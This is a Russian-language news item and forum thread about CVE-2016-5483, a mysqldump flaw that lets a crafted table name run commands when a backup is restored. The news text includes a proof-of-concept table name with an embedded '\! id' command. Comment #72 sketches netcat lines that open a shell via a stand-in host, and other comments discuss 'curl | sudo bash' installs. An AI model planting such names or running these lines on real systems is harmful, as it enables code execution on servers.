The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  правила/FAQ  поиск  регистрация  вход/выход  слежка  RSS
"Уязвимость в mysqldump, позволяющая выполнить код при восста..."
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от opennews (ok) on 11-Мрт-17, 10:11 
Во входящей в состав MySQL утилите mysqldump (http://dev.mysql.com/doc/refman/5.7/en/mysqldump.html), используемой для создания резервных копий, выявлена (https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-bac.../) уязвимость (CVE-2016-5483 (https://security-tracker.debian.org/tracker/CVE-2016-5483)), позволяющая
организовать выполнение произвольных shell-команд или привилегированных конструкций SQL во время восстановления резервной копии при помощи утилиты mysql. Код выполнятся с правами администратора, запустившего mysql. Уязвимостью может воспользоваться пользователь СУБД, имеющий права на создание таблиц.


Проблема вызвана особенностью добавления комментариев  с названиями  таблиц в выводе mysqldump. Атакующий имеет возможность создать таблицу с переводом строки в имени, что приведёт к тому, что в область комментария попадёт только начало имени, а хвост будет перенесён на другую строку и выполнен при загрузке дампа. Например, атакующий может создать таблицу с именем "evil \! id select user(),@@version/*", разнесённым на три строки:

   CREATE TABLE `evil  
   \! id
   select user(),@@version/*`  (test text);  


При создании резервной копии в дампе, полученном от mysqldump, часть имени вынесена за пределы комментария:


   --
   -- Table structure for table `evil
   \! id
   select user(),@@version/*`  


При восстановлении резервной копии администратором будут запущены команды "\! id" и "select user(),@@version/*":


   $ mysql test

Злоумышленник может воспользоваться проблемой для оставления лазейки после успешной атаки по подставновке SQL-кода через уязвимое web-приложение. Например, атакующий может осуществить подстановку команд в резервную копию, затем выждать какое-то время и более активно атаковать систему, чтобы администратор заметил факт взлома web-приложения (например, удалив или изменив данные в БД). Выявив факт атаки администратор попытается восстановить прошлое состояние БД, используя наиболее свежую версию резервной копии, но так как в атакующий уже позаботился о подстановке в неё своих команд, при восстановлении бэкапа, администратор поспособствует запуску кода атакующего с повышенными привилегиями.

Проблеме подвержены все версии MySQL, в которых уязвимость остаётся неисправленной, а также выпуски  MariaDB до 5.5.53 и 10.1.  Обновления пакетов с  MariaDB уже выпущены Debian (https://security-tracker.debian.org/tracker/CVE-2016-5483) и Ubuntu (https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2...). Уязвимость была обнаружена осенью, но уведомление компании Oracle осталось без ответа, поэтому спустя 90 дней исследователи опубликовали сведения об уязвимости в открытом доступе. В качестве обходного метода защиты предлагается при создании бэкапов запускать утилиту mysqldump с опцией "--skip-comments", воспользоваться альтернативными инструментами резервного копирования MySQL или запретить доступ пользователей СУБД к выполнению операций "create table".


URL: https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-bac.../
Новость: http://www.opennet.ru/opennews/art.shtml?num=46174

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения по теме [Сортировка по времени | RSS]


1. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –12 +/
Сообщение от Gemorroj (ok) on 11-Мрт-17, 10:11 
Ну и бред. "Уязвимость" тут на столько мифическая, что о ней можно и не говорить.
Просто косяк в парсере.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

2. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +5 +/
Сообщение от Аноним (??) on 11-Мрт-17, 10:16 
Не согласен, уязвимость хороша именно тем, что на первый взгляд кажется бесполезной.
Любители социальной инженерии будут в восторге. Один из сценариев атаки описан в предпоследнем абзаце новости. С квалификацией современных web-разработчиков SQL Injection сейчас не такая редкость.
Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

36. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –1 +/
Сообщение от KonstantinB (ok) on 11-Мрт-17, 17:00 
Да, но это скорее еще один трюк из разряда методов социнженерии, чем реальная уязвимость. Прикрыть это, конечно, не помешает (что уже и сделано). Но по сути - это из разряда новомодных копипаст-инструкций формата "запустите curl https://domain.tld/script.sh | sudo bash -": не проверил, что там - ССЗБ.
Ответить | Правка | ^ к родителю #2 | Наверх | Cообщить модератору

39. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Аноним (??) on 11-Мрт-17, 18:25 
Более того, можно сделать так чтобы через браузер показывалось одно, а при загрузке curl'ом отдавалось другое.
Ответить | Правка | ^ к родителю #36 | Наверх | Cообщить модератору

45. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от KonstantinB (ok) on 11-Мрт-17, 20:57 
Ясен пень, что смотреть надо то, что запускать собрался, а не что там в браузере. :)
Ответить | Правка | ^ к родителю #39 | Наверх | Cообщить модератору

48. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от angra (ok) on 11-Мрт-17, 21:35 
> Но по сути - это из разряда новомодных копипаст-инструкций формата "запустите
> curl https://domain.tld/script.sh | sudo bash -": не проверил, что там -
> ССЗБ.

А в чем принципиальное отличие от старомодного скачать и запустить?

Ответить | Правка | ^ к родителю #36 | Наверх | Cообщить модератору

49. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от KonstantinB (ok) on 11-Мрт-17, 21:41 
Старомодное предполагает разумный промежуточный шаг "посмотреть, что собрался запускать".

Копипастная инструкция вида curl | sudo bash - вообще этот шаг исключает.

Ответить | Правка | ^ к родителю #48 | Наверх | Cообщить модератору

51. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от angra (ok) on 11-Мрт-17, 23:34 
Ни разу не видел, чтобы в инструкции был шаг "Посмотрите, что вы собираетесь запускать". Максимум там бывает исправление фубаров на реальные значения. Ну а те, кто хочет посмотреть по своей инициативе, могут это сделать в обоих случаях. Так что принципиальной разницы не вижу.
Ответить | Правка | ^ к родителю #49 | Наверх | Cообщить модератору

52. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от KonstantinB (ok) on 11-Мрт-17, 23:53 
"Не работайте под рутом" тоже обычно не пишут в инструкциях по установке ПО.

Я о другом: те, кто пишет такие инструкции, сами так никогда не делают, иначе бы в голову не пришла такая команда.
Более того, я неоднократно видел такие инструкции с http:// (не https://) адресом!

Ответить | Правка | ^ к родителю #51 | Наверх | Cообщить модератору

56. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от angra (ok) on 12-Мрт-17, 00:25 
> "Не работайте под рутом" тоже обычно не пишут в инструкциях по установке ПО.

Вообще-то обычно в инструкциях указывается какие шаги делаются под пользователем, а какие с рутовыми привилегиями.

> Я о другом: те, кто пишет такие инструкции, сами так никогда не делают, иначе бы в голову не пришла такая команда.

Ты телепат или ясновидящий?

> Более того, я неоднократно видел такие инструкции с http:// (не https://) адресом!

И это тоже нормально, так как основная причина существования таких инструкций в простоте установки, а в случае https curl может и взбрыкнуть.


Ответить | Правка | ^ к родителю #52 | Наверх | Cообщить модератору

64. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –1 +/
Сообщение от KonstantinB (ok) on 13-Мрт-17, 03:27 
> в случае https curl может и взбрыкнуть

Если curl "взбрыкивает", то проблема либо с MITM, либо с тем местом, откуда растут руки.

> это тоже нормально

По итогам этой ветки искренне надеюсь, что вас не пускают к продакшен-системам сложнее офисной файлопомойки.

Ответить | Правка | ^ к родителю #56 | Наверх | Cообщить модератору

66. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от angra (ok) on 13-Мрт-17, 06:43 
> Если curl "взбрыкивает", то проблема либо с MITM, либо с тем местом, откуда растут руки.

Сдается мне, что кое-кто не знает как работает механизм доверия ssl сертификату вообще и для curl в частности. Но это ладно, ты похоже просто не понимаешь для кого предназначены эти однострочники. Это я могу глянуть man curl и найти опцию -k, а вот ЦА этого может и не сделать и просто выберет другое решение, которое не имеет проблем уже на этапе пробной установки.

> По итогам этой ветки искренне надеюсь, что вас не пускают к продакшен-системам  сложнее офисной файлопомойки.

Только из-за того, что я умею думать, а не слепо верить в волшебство https?

Ответить | Правка | ^ к родителю #64 | Наверх | Cообщить модератору

69. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от тигар (ok) on 13-Мрт-17, 09:18 
>> Если curl "взбрыкивает", то проблема либо с MITM, либо с тем местом, откуда растут руки.
> Сдается мне, что кое-кто не знает как работает механизм доверия ssl сертификату
> вообще и для curl в частности. Но это ладно, ты похоже
> просто не понимаешь для кого предназначены эти однострочники. Это я могу
> глянуть man curl и найти опцию -k, а вот ЦА этого
> может и не сделать и просто выберет другое решение, которое не
> имеет проблем уже на этапе пробной установки.

про -k и его более длинный алиас curl, кажется, сам подсказывает:-) (если с wget`ом не путаю)

Ответить | Правка | ^ к родителю #66 | Наверх | Cообщить модератору

71. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от angra (ok) on 13-Мрт-17, 10:15 
Очень даже может быть. Но в таких случаях обычно звучит что-то вроде "я же не админ, чтобы читать сообщение об ошибке".
Ответить | Правка | ^ к родителю #69 | Наверх | Cообщить модератору

61. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +1 +/
Сообщение от deadfood (ok) on 12-Мрт-17, 20:13 
Дада, проверьте что там в несколькогигабайтовом дампе базы данных, а потом рассказывайте про ССЗБ
Ответить | Правка | ^ к родителю #36 | Наверх | Cообщить модератору

65. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –1 +/
Сообщение от KonstantinB (ok) on 13-Мрт-17, 03:30 
> Дада, проверьте что там в несколькогигабайтовом дампе базы данных, а потом рассказывайте
> про ССЗБ

Если дамп мой - я и так знаю, что в нем.
Если нет - то в голову никогда не придет что-то делать из-под своей учетки и тем более рута.

Ответить | Правка | ^ к родителю #61 | Наверх | Cообщить модератору

72. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от пох on 13-Мрт-17, 13:05 
> Если дамп мой - я и так знаю, что в нем.

в нем - create table shit
          \!nc hackhost 6666 /dev/null
          \!nc -l 6666 | /bin/sh
          somemoreshit (...

попавший туда из-за sql-injection в забытом тобой же три года назад в недрах сайта одноразовом тестовом скрипте. И ты об этом вряд ли узнаешь. А при таком апломбе - ты об этом не узнаешь даже когда тебя таким образом поимеют, поскольку самомнения дохрена, а умения читать и делать выводы из прочитанного - ноль.

одна надежда, что оракл о тебе позаботится.

Единственный "твой" дамп, который по настоящему твой - это который ты руками набрал по одной буковке.

Ответить | Правка | ^ к родителю #65 | Наверх | Cообщить модератору

75. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от KonstantinB (ok) on 13-Мрт-17, 16:00 
В дамп из-за sql injection? Ну-ка наваляйте proof of concept.
Ответить | Правка | ^ к родителю #72 | Наверх | Cообщить модератору

76. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от KonstantinB (ok) on 13-Мрт-17, 16:04 
...только реалистичный, а не код, создающий динамически таблицы с подстановкой пользовательского ввода. :) С таким проблемы начнутся куда раньше.
Ответить | Правка | ^ к родителю #75 | Наверх | Cообщить модератору

12. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +6 +/
Сообщение от Аноним (??) on 11-Мрт-17, 12:05 
1) арендуешь шаредхостинг.
2) создаешь сайт визитку.
3) в mysql делаешь табличку.
4) заходишь в админку хостинга.
4.1)  делаешь бкап.
4.2)   восстанавливаешь из бэкапа.

и вот ты root.

что там у соседей по хостингу?  энторнет могазин? данные карточек в базе?

Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

14. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –2 +/
Сообщение от Gemorroj (ok) on 11-Мрт-17, 12:58 
>> восстанавливаешь из бэкапа.

чем это отличается от ручного выполнения sql запроса из той же админки? то, что через жопу можно выполнить sql запрос, ну ок, круто че.

Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

40. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +6 +/
Сообщение от Аноним (??) on 11-Мрт-17, 18:27 
Восстановление может делаться из-под более привилегированного юзера.
Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

13. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +3 +/
Сообщение от apollo2k4 (ok) on 11-Мрт-17, 12:14 
А почему собственно косяк в парсере не может быть уязвимостью?
Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

15. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –2 +/
Сообщение от Gemorroj (ok) on 11-Мрт-17, 13:00 
конкретно в mysqldump она не имеет ценности в силу сложности ее использования. а точнее практически невозможности ее практического использования.
Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

53. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +2 +/
Сообщение от XoRe (ok) on 11-Мрт-17, 23:55 
> конкретно в mysqldump она не имеет ценности в силу сложности ее использования.
> а точнее практически невозможности ее практического использования.

Если вы не можете придумать, как это использовать, это не означает, что это невозможно.
Проходили тыщщу раз:
- все нормально, это не эксплойт!
- вот вам дефейсик на главной:)
- %#$!!! (пачка отложенных кирпичей)

Ответить | Правка | ^ к родителю #15 | Наверх | Cообщить модератору

18. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +2 +/
Сообщение от Павел Самсонов email on 11-Мрт-17, 13:18 
Каку надо писой мыть.
Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

20. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Павел Самсонов email on 11-Мрт-17, 13:23 
И ещё подкладывть бумажку, и кушать ампицилин :)


Ответить | Правка | ^ к родителю #18 | Наверх | Cообщить модератору

24. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от angra (ok) on 11-Мрт-17, 13:39 
Один сценарий для ее использования таки существует. Дампу, снятому самостоятельно, а не полученному от клиента, обычно(об исключении как раз сабж) можно доверять и как следствие админ может полениться перейти в шелловый и/или мускульный логин клиента.
Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

3. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Аноним (??) on 11-Мрт-17, 10:16 
А часто ли бывает, что кто-то имеет право создавать таблицы, но не может делать дамп и восстанавливать?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

4. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Аноним (??) on 11-Мрт-17, 10:39 
Дефолтовые настройки аккаунта для WordPress.
Ответить | Правка | ^ к родителю #3 | Наверх | Cообщить модератору

5. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Аноним (??) on 11-Мрт-17, 10:44 
А какая разница? Даже если бы злоумышленник мог делать дамп и восстанавливать, это не уменьшило бы опасность уязвимости. Она, по сути, позволяет пользователю, способному создавать таблицы, взломать _системный аккаунт_ (а не аккаунт в mysql) пользователя, занимающегося дампом и восстановлением (а не просто получить право дампа и восстановления). Как правило, этот аккаунт ещё много чего может. Например, выполнять sudo.
Ответить | Правка | ^ к родителю #3 | Наверх | Cообщить модератору

25. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от angra (ok) on 11-Мрт-17, 13:42 
А что раньше мешало подкинуть этому аккаунту "исправленный" дамп? Дампы то у клиентов обычно хранятся.

Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

32. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Аноним (??) on 11-Мрт-17, 14:21 
Когда дампы хранятся у клиентов, то и восстанавливают их обычно клиенты.
Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

47. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от angra (ok) on 11-Мрт-17, 21:32 
Разве что в идеальном мире. Где все клиенты люди умные и знающие, а сисадмины нужны только из-за разграничения уровней доступа.
Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

8. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –6 +/
Сообщение от Ydro on 11-Мрт-17, 11:19 
Первые два абзаца полная чущь. Причём здесь утилита mysqldump? В оригинале ясно написано про подстановку в уже имеющийся файл дампа БД. Проблема даже не в парсере, если уж получил доступ на запись в дамп, то можно просто вставить и DROP DATABASE и ждать что дамп запустят с соответствующими правами, притом на БД, а не на систему в целом. Правильно в Oracle делают, что не разговаривают с идиотами устанавливающими себе бэкдор-скрипты.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

11. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Аноним (??) on 11-Мрт-17, 11:45 
Это вы не так поняли. В оригинале написано как раз про атаку через выполнение CREATE TABLE, с последующим сливанием кривого имени при запуске mysqldump: "The attacker has gained access your application and can execute arbitrary SQL queries (for example, a backdoor in Wordpress installed via an outdated plugin)...The target runs a regular backup of their database using mysqldump".

Там даже в примере

CREATE TABLE `evil  
\! id
select user(),@@version/*`  (test text);  

Ответить | Правка | ^ к родителю #8 | Наверх | Cообщить модератору

19. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –3 +/
Сообщение от Ydro on 11-Мрт-17, 13:19 
У вас первый абзац оригинальной статьи видимо не отображается? mysqldump is a common utility used to create logical backups of MySQL databases. By default, it generates a .sql file containing the queries to create/drop tables and insert your data. By crafting malicious table name, an attacker can execute arbitrary SQL queries and shell commands if the dump file is imported. Обратите внимание на последнее слово imported, что явно указывает на импорт данных из файла в БД, а НЕ НАОБОРОТ (создание файла дампа при помощи утилиты mysqldump)
Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

33. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Аноним (??) on 11-Мрт-17, 14:28 
Разъясняю для непонятливых. Злоумышленник создаёт в БД таблицу с многострочным именем. Команда mysqldump, наткнувшись на такую таблицу, вставляет в дамп все строки имени, кроме первой, как команды, а не часть имени. Поскольку команду mysqldump запускал доверенный пользователь, то и в доверенности дампа сомнений не возникает. Но при попытке из него восстановиться запускаются эти внедрённые команды. Теперь понятно?
Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

31. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –1 +/
Сообщение от oopsy on 11-Мрт-17, 14:13 
> Причём здесь утилита mysqldump?

1. mysqldump создаёт обычный кекстовый файл, sql-скрипт, с комментариями и прочей фигнёй. Для восстановления дампа необходимо просто выполнить этот скрипт консольным клиентом.

2. mysql (как и многие другие СУБД) позволяет создавать таблицы с именами, не являющимися идентификаторами. При этом в имя таблицы можно включать символы перевод строки.

3. поскольку mysqldump помещает имя таблицы в строчный комментарий (комментарий начинается с символов «-- » и распространяется до конца строки) появляется возможность поместить в скрипт некоторое количество произвольных команд, включая обращения к системному shell.

Так что источник проблемы - mysqldump.

Для устранения этой проблемы нужно "тщательнее" формировать комментарий. Например, экранировать в комментариях (и, возможно, в других местах где выводятся имена таблиц) управляющие символы.

Есть утверждения, что это проблема парсера; С парсером всё в порядке - вычитав начало комментария он должен без лишних затей пропустить всё до конца строки, мало-ли что понапишу в скриптах.

Ответить | Правка | ^ к родителю #8 | Наверх | Cообщить модератору

60. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –2 +/
Сообщение от Ydro on 12-Мрт-17, 11:38 
Не надо расписывать как работает mysqldump. И отчего вы забыли другие виды комментариев?
Распечатайте тогда всю документацию. mysqldump - просто выплёвывает то, что в БД и уж если что и является проблемой то сам mysqld (демон), т.к. позволяет создавать таблицы с именами содержащими перевод строки. Ведь можно и без mysqldump создать такую таблицу, не так ли? И вот возникает вопрос, имея права на создание таблиц в 99,999% я буду иметь права на все операции с БД, так какого лешего мне надо будет создавать таблицу с бредовым именем, чтобы её когда-нибудь сдампили, затем надеяться, что когда-нибудь дамп развернут обратно и я выполню операции с теме же правами которые у меня уже есть - это, что такая извращённая рекурсия?
Ответить | Правка | ^ к родителю #31 | Наверх | Cообщить модератору

9. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Ilya Indigo (ok) on 11-Мрт-17, 11:27 
> ... а также выпуски MariaDB до 5.5.53 и 10.1.

Так 10.1.21 подвержена этой "уязвимости" или нет?

P.S. В оригинале понятно что нет.
MariaDB    <= 5.5.52 and < 10.1     March 9, 2017

Не хватает только комментария кое-кого, про то что говорят что кое в чём $subject старый. :-)

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

43. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +1 +/
Сообщение от КО on 11-Мрт-17, 19:34 
Там в новости ссылка на CVE по ней пройди и увидишь, что в ветке 10.1 исправлено в версии 10.1.21-5
Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

57. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Ilya Indigo (ok) on 12-Мрт-17, 01:00 
Благодарю.
Ответить | Правка | ^ к родителю #43 | Наверх | Cообщить модератору

16. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Павел Самсонов email on 11-Мрт-17, 13:01 
Ах эта тяга к идеализму :) С точки зрения промышленного станка - надёжность на должном уровне, необходимый уровень безопасности реализован....
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

17. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +1 +/
Сообщение от Alex_K email(??) on 11-Мрт-17, 13:17 
Бывают случаи, когда хостер переносит базу с другого хостинга или восстанавливает базу по просьбе клиента из имеющегося бэкапа. Получается, что под рутом делать загрузку удаленного дампа небезопасно.

Непонятно, почему в принципе допустимы имена таблиц с переносами строк.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

21. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +4 +/
Сообщение от angra (ok) on 11-Мрт-17, 13:28 
> Бывают случаи, когда хостер переносит базу с другого хостинга или восстанавливает базу
> по просьбе клиента из имеющегося бэкапа. Получается, что под рутом делать
> загрузку удаленного дампа небезопасно.

ШОК!!! Оказывается нельзя выполнять произвольный sql от рута, а надо логиниться под пользователем, для которого делаешь восстановление из дампа. Ну кто бы мог подумать!


Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

22. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Павел Самсонов email on 11-Мрт-17, 13:30 
>> Бывают случаи, когда хостер переносит базу с другого хостинга или восстанавливает базу
>> по просьбе клиента из имеющегося бэкапа. Получается, что под рутом делать
>> загрузку удаленного дампа небезопасно.
> ШОК!!! Оказывается нельзя выполнять произвольный sql от рута, а надо логиниться под
> пользователем, для которого делаешь восстановление из дампа. Ну кто бы мог
> подумать!

Самое печальное, что при этом приходится сидеть на его стуле :(

Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

23. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +1 +/
Сообщение от angra (ok) on 11-Мрт-17, 13:32 
Как тут любит говорить Led, эникеи должны страдать. Не хочешь работать ногами, работай головой.
Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

30. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от vitvegl on 11-Мрт-17, 14:06 
Работать ногами - не есть плохо. Жим платформы ногами, например)
Но и головой думать следует
Ответить | Правка | ^ к родителю #23 | Наверх | Cообщить модератору

34. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Павел Самсонов email on 11-Мрт-17, 14:32 
Хоть иногда стенки сверлю, а то как же "дом построить"?
Ответить | Правка | ^ к родителю #23 | Наверх | Cообщить модератору

26. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Alex_K email(??) on 11-Мрт-17, 13:45 
Не путайте пользователя root внутри mysql и системного пользователя.
Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

27. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от angra (ok) on 11-Мрт-17, 13:51 
Я и не путаю. Я вообще-то про обоих говорил. Принцип один и тот же.
Ответить | Правка | ^ к родителю #26 | Наверх | Cообщить модератору

29. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Alex_K email(??) on 11-Мрт-17, 14:02 
> Я и не путаю. Я вообще-то про обоих говорил. Принцип один и
> тот же.

Ок.

Ответить | Правка | ^ к родителю #27 | Наверх | Cообщить модератору

44. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +1 +/
Сообщение от КО on 11-Мрт-17, 19:37 
Да какая разница, тот кто восстанавливает бакап обычно имеет права на файлы БД, дампов, логов по которым можно было бы что-нибудь понять. Так что простой find выясняющий до каких файлов можно дотянуться и удаляющий их rm наделают достаточно шороху. А рут останется неуязвим в голой системе, как тот Неуловимый Джо.
Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

28. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +1 +/
Сообщение от Alex_K email(??) on 11-Мрт-17, 14:00 
Выводы:
1.
Под рутом (ОС) загружать сторонний дамп нельзя из-за
system    (\!) Execute a system shell command.

2. Даже дамп сделанный собственноручно (без skip-comments) загружать по рутом (ОС) небезопасно.

Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

35. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от тоже аноним on 11-Мрт-17, 16:31 
> Выводы:

нет, неправильные.
Правильные: сторонний или даже собственноручный (разницы совершенно никакой, если только база не твоя собственная и create в ней не можешь делать только ты) дамп нельзя загружать под любым привиллегированным акаунтом самого mysql - что очень неудобно, поскольку обычная практика - не хранить пароли юзеров.
При этом его еще и нельзя загружать под любым _своим_ системным акаунтом, даже нерутовым- потому что свой обычно позволяет sudo (с паролем, без пароля - похрен, подсунут тебе левый бинарник - ты еще и свой пароль дашь погонять)
То есть владельцам shared надо заводить отдельную виртуалку со специальным акаунтом для восстановления (вероятно, автоматическую - запустил, сама всосала дамп, сама восстановила, самоуничтожилась вместе с содержимым, следующий запуск с исходного образа), а сам этот акаунт создавать каждый раз для каждого юзера (или таки хранить их пароли с риском что упрут)

и все потому что какой-то долбодятел решил быть "щедрым" и не ограничил имена таблиц разумными рамками - "а чо, енжина ж может".

Ответить | Правка | ^ к родителю #28 | Наверх | Cообщить модератору

37. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –1 +/
Сообщение от angra (ok) on 11-Мрт-17, 17:39 
Да и у тебя они не правильные :)
Действия для пользователя, требующие только знаний, но не привилегий, надо делать из под пользователя(системного, БД, админка итд). Всегда и не только с sql дампами. Тогда не надо думать, сам ты сделал архив, дамп или еще что-то или не сам, может там быть что-то зловредное или не может.
Это как с поворотниками или ремнями безопасности в машине, умный доводит их использование до автоматизма и не задумываясь использует даже если ему надо сто метров по дворам в три часа ночи проехать, а дурак начинает каждый раз размышлять: увидят гаишники или не увидят, есть другие машины или нет.

Ну и в этом случае проблема не столько с именами таблиц, сколько с возможностью вообще выполнять шелловые команды из sql клиента.

Ответить | Правка | ^ к родителю #35 | Наверх | Cообщить модератору

54. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +1 +/
Сообщение от Анон_ on 12-Мрт-17, 00:03 
> Действия для пользователя, требующие только знаний, но не привилегий, надо делать из под
> пользователя

я не знаю пароля пользователя. И не имею ни малейшего желания его знать.
su для sql почему-то не придумали.
Кстати, если пользователя поломали, лезя в его акаунт, ты оказываешь ему (и, возможно, себе) медвежью услугу.

> Ну и в этом случае проблема не столько с именами таблиц, сколько с возможностью вообще
> выполнять шелловые команды

вполне достаточно возможности выполнять _sql_ные команды (только совсем не create/insert).
Включая и grant all.
Чтобы этого избежать, нужен полноценный restore, а не скармливание дампа универсальному шеллу.

Ответить | Правка | ^ к родителю #37 | Наверх | Cообщить модератору

59. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  –1 +/
Сообщение от angra (ok) on 12-Мрт-17, 03:25 
> я не знаю пароля пользователя. И не имею ни малейшего желания его знать.
> su для sql почему-то не придумали.

Ну если ты ничего о мускуле знать не хочешь, то тебе наверное лучше его не админить. Админ без закидонов решает эту "проблему" в два счета.

Ответить | Правка | ^ к родителю #54 | Наверх | Cообщить модератору

68. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от Аноним (??) on 13-Мрт-17, 08:23 
apt-get remove mysqld ?

d:\windows_server\setup.exe ?

Ответить | Правка | ^ к родителю #59 | Наверх | Cообщить модератору

70. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от angra (ok) on 13-Мрт-17, 10:13 
> apt-get remove mysqld ?

apt-get remove работает с именами пакетов, а не бинарей на диске.

> d:\windows_server\setup.exe ?

Ну это тебе виднее, последний windows server, который я ставил, был 2003-й.

Ответить | Правка | ^ к родителю #68 | Наверх | Cообщить модератору

78. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
Сообщение от пох on 13-Мрт-17, 17:10 
> d:\windows_server\setup.exe ?

mysql в ней ровно тот же самый и из того же источника.
А mssql для вебни (не внутрикорпоративной, с пятикилобайтной "строкой" sql-запроса, но и с аж пятью пользователями, которых можно просто заставить не запускать ее одновременно с пяти мест, а паблик, с тысячами пользователей и примитивными insert/delete по полста в секунду) - боюсь, как бы не оказался еще худшим рeшетом, и еще большим тормозом и сборищем глюков.

И в любом случае это отдельная жизнь, не каждому админу lamp-серверов она дана.
(обратное тоже верно, судя по спаму, попершему пачками с хостингов гарант-парка)

Ответить | Правка | ^ к родителю #68 | Наверх | Cообщить модератору

38. "Уязвимость в mysqldump, позволяющая выполнить код при восста..."  +/
